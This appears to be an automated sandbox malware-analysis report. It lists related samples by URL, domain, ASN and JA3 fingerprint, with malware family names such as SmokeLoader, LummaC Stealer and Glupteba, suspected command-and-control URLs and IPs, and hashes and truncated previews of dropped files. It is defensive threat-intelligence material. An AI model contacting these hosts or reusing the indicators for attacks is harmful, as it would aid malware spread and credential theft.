	Zvxlbtaw4Z.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, zgRAT	Browse	ftpvoyager.cc/ftp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	SmokeLoader	Browse	humydrole.com/tmp/index.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	atozrental.cc/atoz/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gxutc2c.com	fc20f331.exe	Get hash	malicious	SmokeLoader	Browse	179.25.14.228
	b46ca6b63b5c418471e737ff53381b4a58bc2f501f947778fa96a9cbee5ffb8f_payloads.exe	Get hash	malicious	SmokeLoader	Browse	175.126.109.15
	d9c2c57e.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	3kguO45VOs.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	109.175.29.39
	3TAN4gpYkp.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	187.204.88.251
	iJhVD1gfNa.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	186.182.55.44
	4vn02kPJVZ.exe	Get hash	malicious	LummaC, BazaLoader, LummaC Stealer, SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	LummaC, BazaLoader, LummaC Stealer, SmokeLoader	Browse	175.119.10.231
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	91.104.83.7
	5bd893f5.exe	Get hash	malicious	SmokeLoader	Browse	211.171.233.126
	815b5917.exe	Get hash	malicious	SmokeLoader	Browse	211.171.233.129
ftpvoyager.cc	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	186.147.159.149
	6JrdNYGEPZ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Stealc	Browse	186.50.216.216
	SSmamWOS7L.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	179.25.4.255
	xksYucKYRR.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Stealc, Vidar	Browse	109.175.29.39
	PxYYzLeAPi.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	211.53.230.67
	ACTCsxhga8.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	123.140.161.243
	aif31Spjyi.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	211.119.84.112
	zzfenRCj9M.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	211.171.233.129
	uetfu6ZLWZ.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Stealc	Browse	190.224.203.37
	16GAuqLUFK.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Stealc	Browse	195.158.3.162
	qrtzqUHSqT.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader	Browse	175.120.254.9
	HVqTxn73uD.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader	Browse	211.171.233.129
	jcY9CjvBDG.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	187.211.8.246
	sCzFNAYGKI.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	211.53.230.67
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	195.158.3.162
	o7ZHiwiYIJ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	187.156.96.226
	ZRgv8wdMtR.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	2.180.10.7
	zEiSxvfImr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	179.153.102.52
	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	91.104.83.7
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	14.33.209.147
hugo.topteamlife.com	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	172.67.138.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BIHNETBIHNETAutonomusSystemBA	d9c2c57e.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	3kguO45VOs.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	109.175.29.39
	sora.arm.elf	Get hash	malicious	Mirai	Browse	92.36.229.145
	Sz8KLg559F.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	109.175.29.39
	xksYucKYRR.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Stealc, Vidar	Browse	109.175.29.39
	e2ziN6k10z.exe	Get hash	malicious	Amadey	Browse	109.175.29.39
	eqzIRxuYDe.exe	Get hash	malicious	Amadey	Browse	109.175.29.39
	OdohwTAB9N.exe	Get hash	malicious	Amadey	Browse	109.175.29.39
	vEG7JKy0xd.exe	Get hash	malicious	Amadey	Browse	185.12.79.25
	pgSw1dOHLD.exe	Get hash	malicious	Amadey	Browse	185.12.79.25
	UiS7Aq9P48.exe	Get hash	malicious	Amadey	Browse	185.12.79.25
	Ksg3dly6oI.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu	Browse	185.12.79.25
	8as7BA35XQ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	185.12.79.25
	file.exe	Get hash	malicious	Glupteba, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	185.12.79.25
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, Socks5Systemz	Browse	109.175.29.39
	x86.elf	Get hash	malicious	Unknown	Browse	92.36.229.152
	file.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	vxBrm6K24y.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, zgRAT	Browse	109.175.29.39
	Zvxlbtaw4Z.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, Raccoon Stealer v2, RedLine, SmokeLoader, zgRAT	Browse	109.175.29.39
	file.exe	Get hash	malicious	SmokeLoader	Browse	185.12.79.25
RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	timeSync.exe	Get hash	malicious	Stealc, Vidar	Browse	5.42.64.41
	InstallSetup2.exe	Get hash	malicious	Petite Virus	Browse	5.42.64.35
	rooting.exe	Get hash	malicious	RedLine	Browse	45.15.156.167
	qxhJb4lvVA.exe	Get hash	malicious	Stealc, Vidar	Browse	5.42.64.41
	file.exe	Get hash	malicious	RedLine, zgRAT	Browse	5.42.65.31
	file.exe	Get hash	malicious	RedLine, zgRAT	Browse	5.42.65.31
	file.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc, Xmrig	Browse	45.15.156.229
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	5.42.64.41
	7UI1tD80.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, RHADAMANTHYS, RedLine, Stealc	Browse	5.42.65.31
	4363463463464363463463463.exe	Get hash	malicious	LummaC, CyberGate, DarkTortilla, Metasploit, Petite Virus, Stealc, SystemBC	Browse	5.42.64.35
	3dqojlOVBh.exe	Get hash	malicious	RedLine, zgRAT	Browse	5.42.65.31
	86QxwSg2UY.exe	Get hash	malicious	RedLine, zgRAT	Browse	5.42.65.31
	ZC0CVbfY1v.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc	Browse	5.42.64.35
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse	5.42.66.0
	6TBdUvQH7L.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc	Browse	5.42.64.35
	9b1VuX8WEI.exe	Get hash	malicious	Amadey, Glupteba	Browse	5.42.66.0
	L5KPHu6Vfn.exe	Get hash	malicious	LummaC, Petite Virus, Quasar, RedLine, SmokeLoader, Stealc, Vidar	Browse	5.42.64.35
	modest-menu.exe	Get hash	malicious	RedLine	Browse	45.15.156.167
	timeSync.exe	Get hash	malicious	Stealc, Vidar	Browse	5.42.64.41
	81CF1C51B336BC81ECD72F78B74D0D7396ED07568DDDC.exe	Get hash	malicious	RedLine	Browse	5.42.64.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	kYSSVJizBr.exe	Get hash	malicious	Xmrig	Browse	104.20.68.143 149.154.167.99
	315884008.exe	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	file.exe	Get hash	malicious	RedLine, Xmrig	Browse	104.20.68.143 149.154.167.99
	WinDir.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer, zgRAT	Browse	104.20.68.143 149.154.167.99
	Stubakion502.exe	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	atom.ps1	Get hash	malicious	AgentTesla	Browse	104.20.68.143 149.154.167.99
	Booking.com-1728394029.js	Get hash	malicious	AgentTesla	Browse	104.20.68.143 149.154.167.99
	Payment Advice Copy_ BSP Fiji_pdf.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	104.20.68.143 149.154.167.99
	rise.exe	Get hash	malicious	RisePro Stealer	Browse	104.20.68.143 149.154.167.99
	grekjJu4PM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.20.68.143 149.154.167.99
	7zS.sfx.exe	Get hash	malicious	CryptOne, Fabookie, Nymaim, SmokeLoader, Socelars, lgoogLoader, onlyLogger	Browse	104.20.68.143 149.154.167.99
	x9VKXBr3lFx3.exe	Get hash	malicious	Njrat	Browse	104.20.68.143 149.154.167.99
	2mHz5ykc81.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	ztn2ByCTBW.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	xxkNTwMqKe.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	5M3d1ZVA6s.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	N1rZQYFxPb.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	oTQWn78eyE.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	x0cuT4GXiQ.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
	ACEUpF30qq.hta	Get hash	malicious	Unknown	Browse	104.20.68.143 149.154.167.99
a0e9f5d64349fb13191bc781f81f42e1	nocry.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.131.114
	n6dS0UI5yA.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.131.114
	grekjJu4PM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, RisePro Stealer, zgRAT	Browse	172.67.131.114
	7zS.sfx.exe	Get hash	malicious	CryptOne, Fabookie, Nymaim, SmokeLoader, Socelars, lgoogLoader, onlyLogger	Browse	172.67.131.114
	3kguO45VOs.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	172.67.131.114
	3TAN4gpYkp.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	172.67.131.114
	iJhVD1gfNa.exe	Get hash	malicious	LummaC, SmokeLoader	Browse	172.67.131.114
	4vn02kPJVZ.exe	Get hash	malicious	LummaC, BazaLoader, LummaC Stealer, SmokeLoader	Browse	172.67.131.114
	confirmationcp2918279311.vbs	Get hash	malicious	Unknown	Browse	172.67.131.114
	file.exe	Get hash	malicious	LummaC	Browse	172.67.131.114
	CUKdcTpF2o.doc	Get hash	malicious	Unknown	Browse	172.67.131.114
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:e11d563a-803a-4724-9035-9a932b1dd9b6	Get hash	malicious	Unknown	Browse	172.67.131.114
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.131.114
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.131.114
	file.exe	Get hash	malicious	LummaC, zgRAT	Browse	172.67.131.114
	file.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc, Xmrig	Browse	172.67.131.114
	file.exe	Get hash	malicious	LummaC, BazaLoader, LummaC Stealer, SmokeLoader	Browse	172.67.131.114
	7UI1tD80.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, RHADAMANTHYS, RedLine, Stealc	Browse	172.67.131.114
	https://www.fenet.jp/	Get hash	malicious	Unknown	Browse	172.67.131.114
	dzjR8c6IQf.exe	Get hash	malicious	LummaC	Browse	172.67.131.114
83d60721ecc423892660e275acc4dffd	94MmmtV9li	Get hash	malicious	Unknown	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	94MmmtV9li	Get hash	malicious	Unknown	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	6JrdNYGEPZ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Stealc	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	SSmamWOS7L.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	xksYucKYRR.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Stealc, Vidar	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	aif31Spjyi.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	zzfenRCj9M.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	uetfu6ZLWZ.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Stealc	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	16GAuqLUFK.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Stealc	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	HVqTxn73uD.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	jcY9CjvBDG.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	sCzFNAYGKI.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	o7ZHiwiYIJ.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	zEiSxvfImr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	xSLm8YQMXX.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	3XbeWk4htl.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	M6xATHbwxY.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	134.209.224.96 192.36.38.33 193.23.244.244
	file.exe	Get hash	malicious	LummaC Stealer, Petite Virus, RedLine, RisePro Stealer, SmokeLoader, Vidar	Browse	134.209.224.96 192.36.38.33 193.23.244.244

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse
	B2AUFF22T7.exe	Get hash	malicious	Glupteba, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\Drivers\csrss.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\4577.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1899520
Entropy (8bit):	7.983042052289404
Encrypted:	false
SSDEEP:	24576:iQX9+3Y1m2M/++RBu4dZxuOxYyWelVrMGROcxRvhqvETcq6+aic+eKZELRMBk:HTk29zXODWevrMItxhhqvt+k+eKZE9G
MD5:	AA053CF4ED948FEC79703DEBBB45FBBF
SHA1:	5911604358446DF9EBF3397DBB6EBF82628BA7A7
SHA-256:	0D7AAF278F5B8CFF257702F9FD344FA7547D9901C4EC1AE8742954E827026E90
SHA-512:	DFCB6EDBA8EF8EBF66316F1E68D2CE9A4CE45C6F03CDD94821673B75E075A3CCBC0767CF4CB8B3B3D4BD14DF28F8122DADF0C433F8471A0502E01BD8B66287FD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70% Antivirus: Virustotal, Detection: 51%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L.... .c.................:....B..............P....@..........................._..............................................s..d.....^..x...........................Q..............................hm..@............P..t............................text....9.......:.................. ..`.rdata..b,...P.......>..............@..@.data.....B..........l..............@....rsrc....x....^..z..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073470233674633
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrO:KooCEYhgYEL0In
MD5:	A36724EB10ED17D756039009446D685C
SHA1:	A25C303632E6B28A9565B80F64091EDC1AEEEE27
SHA-256:	0A40D71989FA44CBA52448C1808E3D549CA12101743A090BB44860B62D779DF7
SHA-512:	FF89DAA4E75798913B492EF6CA3E0474DF2A30C48D1FAEDFA01BA6DFB3808C94652DE3D8853181A91EC0F048EFF9A19B92A8390C5500FB0F7031CC68AC0D6FB9
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6e7ea423, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221529397592173
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	8D1E77D94EA884FB3D14435A1C678564
SHA1:	2431BDA6389139A7587CB087C6BCF64066584D26
SHA-256:	C2B90FC04F6A4C0226F48B7516F251329C0C0AAE003AFE2941849DD9356232C1
SHA-512:	7D32B705CD7E04FB85C0D33BEB394E33B62646F390FDD41A95B45A2AD68CCED6E3387DCB117A572C84B57301E7592CD73B7A2D71328BC3937C9505D12A02DB88
Malicious:	false
Preview:	n~.#... .......A.......X\...;...{......................0.!..........{A.:....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................,.=:....\|%....................:....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	TeX virtual font data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07620803047174843
Encrypted:	false
SSDEEP:	3:NS6YeoDCjjn13a/A4v0iQ7llcVO/lnlZMxZNQl:c6zLj53qAi8hOewk
MD5:	1A6EB22D0B9F968544A3DD77351D4911
SHA1:	1F1203F1274C32AF45D13425EBD3457983E83E57
SHA-256:	17114A2E4D407FF3598DE1A8A9A561A75DCE45A5C57D6E51AACD4B3B45900600
SHA-512:	49F3CFAB0B404DF4F80515F926A473AF2C522E182D8A9B54DBB8EBEAAC343F1F22306AB551794620C141448778046919A4FDD768D63745747DE699CFDA02BF92
Malicious:	false
Preview:	........................................;...{..:....\|.......{A..............{A......{A..........{A]...................:....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2DF.exe_6f65e84f149d19a84da4813a5d70bd7598d20fa_29f65aaa_1941a887-1356-44f9-bc04-7edd280ef053\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7893501152854914
Encrypted:	false
SSDEEP:	96:xFFe3B3wVGr7slXy39fn6tQXIDcQvc6QcEVcw3cE//+HbHg/8BRTf3o8Fa9OyRVR:z0BSGr7B0BU/Yj//szuiFHZ24IO89z6
MD5:	6C562534ECA551A7FCA6CE792AE44066
SHA1:	8BC8CAAC1F69BEA174FE401D4C96DDDD8DC4CFF6
SHA-256:	390C80A717CCF9BF015E7BAE622473FB64F1FF43371C223AFAF9F04F8A0A7064
SHA-512:	1A4E3E063BBCF1DF6A9D87DFEB380AA4D5975BC2A86B12B4547EA9C76976A2AC3220036990110CAF75513C15AE6BD0E10E35D6299B2D9DBA28F9670B2867864B
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.9.0.7.5.4.1.1.3.4.1.7.2.0.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.9.0.7.5.4.1.3.5.9.1.7.3.0.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.9.4.1.a.8.8.7.-.1.3.5.6.-.4.4.f.9.-.b.c.0.4.-.7.e.d.d.2.8.0.e.f.0.5.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.5.5.8.9.2.9.b.-.9.3.a.b.-.4.9.8.d.-.9.7.6.d.-.d.b.7.2.7.9.c.9.6.6.4.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.D.F...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.5.0.-.0.0.0.1.-.0.0.1.4.-.a.d.7.8.-.8.7.2.c.2.2.4.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.4.f.0.8.e.c.1.3.3.2.c.2.c.7.4.a.f.1.1.f.d.f.5.b.0.4.0.e.5.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.f.2.c.0.5.0.c.e.a.a.8.9.7.8.2.b.f.c.1.a.c.1.1.4.0.8.b.1.d.d.0.d.1.c.5.b.f.8.5.0.!.2.D.F...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.0././.0.1././.0.1.:.0.0.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_9D1E.exe_7afc46a1151c6f27e5f0db1a73280de54b87c76_903c3f09_136bbce2-380d-451d-9ab7-9d193e65bd38\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.045278952770282
Encrypted:	false
SSDEEP:	96:1EF32RDGjDHJJOqIKxuVKQXIDcQvc6QcEVcw3cE/n+BHUHZ0ownOgHkEwH3dEFYO:KYF6Dp40BU/KaG6Y3zuiFHZ24IO88
MD5:	0BA40F7A1BDF3BAEB824C53391A68E0C
SHA1:	7DCCB6C8FEC0C9A115BD494F2890DA12FFEBCCE0
SHA-256:	29FF67F212D4A0622A53DF9DF249CD903A21182073E336A839179668D1AA4690
SHA-512:	7C3218C7AC68E49F15352E73DF840FA4AAAFC6B18DA20AC8B0F2DE05A61FE8EB693F98B90EBACF6ED95D3A66773A2BA7A316EB698164BB4CAF485F3C584F8844
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.4.9.0.7.5.3.8.8.6.8.2.2.7.6.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.4.9.0.7.5.3.8.9.7.2.9.1.0.5.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.6.b.b.c.e.2.-.3.8.0.d.-.4.5.1.d.-.9.a.b.7.-.9.d.1.9.3.e.6.5.b.d.3.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.2.1.8.c.4.d.7.-.8.0.c.0.-.4.b.5.0.-.b.a.a.8.-.f.0.8.9.6.2.1.c.8.4.d.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.D.1.E...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.s.p.e.l.l.i.n.g._.b.y.t.h.e._.r.u.l.e.s._.o.f._.l.a.n.g.u.a.g.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.b.0.-.0.0.0.1.-.0.0.1.4.-.d.a.b.c.-.c.e.2.4.2.2.4.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.5.7.7.6.b.a.e.5.f.3.1.9.6.5.9.6.c.0.b.a.6.1.b.4.2.1.5.8.a.1.c.0.0.0.0.0.0.0.0.!.0.0.0.0.a.b.6.1.3.0.9.5.b.2.f.b.6.7.1.7.f.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F6.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6851467030251723
Encrypted:	false
SSDEEP:	96:TiZYWCIx5iUe3Y6gYcaWbPHhYEZ2TtDiGIW4OwReq2anw+MpnMXIOQe3:2ZDCzsDSKF2anw+MpM4OQe3
MD5:	1266814C47DBE9CB4B690F3BC787E103
SHA1:	BF8E2F0A5E24B242EC79F70C8B1031D559AAE92A
SHA-256:	884CC2B84ADEC22D4098597351F0EA96CAE3A077E88BF9873BCC0520BFD56798
SHA-512:	DACBF8A4033D1E14ED7E9322AE63126D6FD0B8ECCDCF4BD9B9DC717C614BC176021F3FCBAD1D557617C27224EB69E85F21D2A62E74DEB0D7940AF8ADFEC1CA2A
Malicious:	false
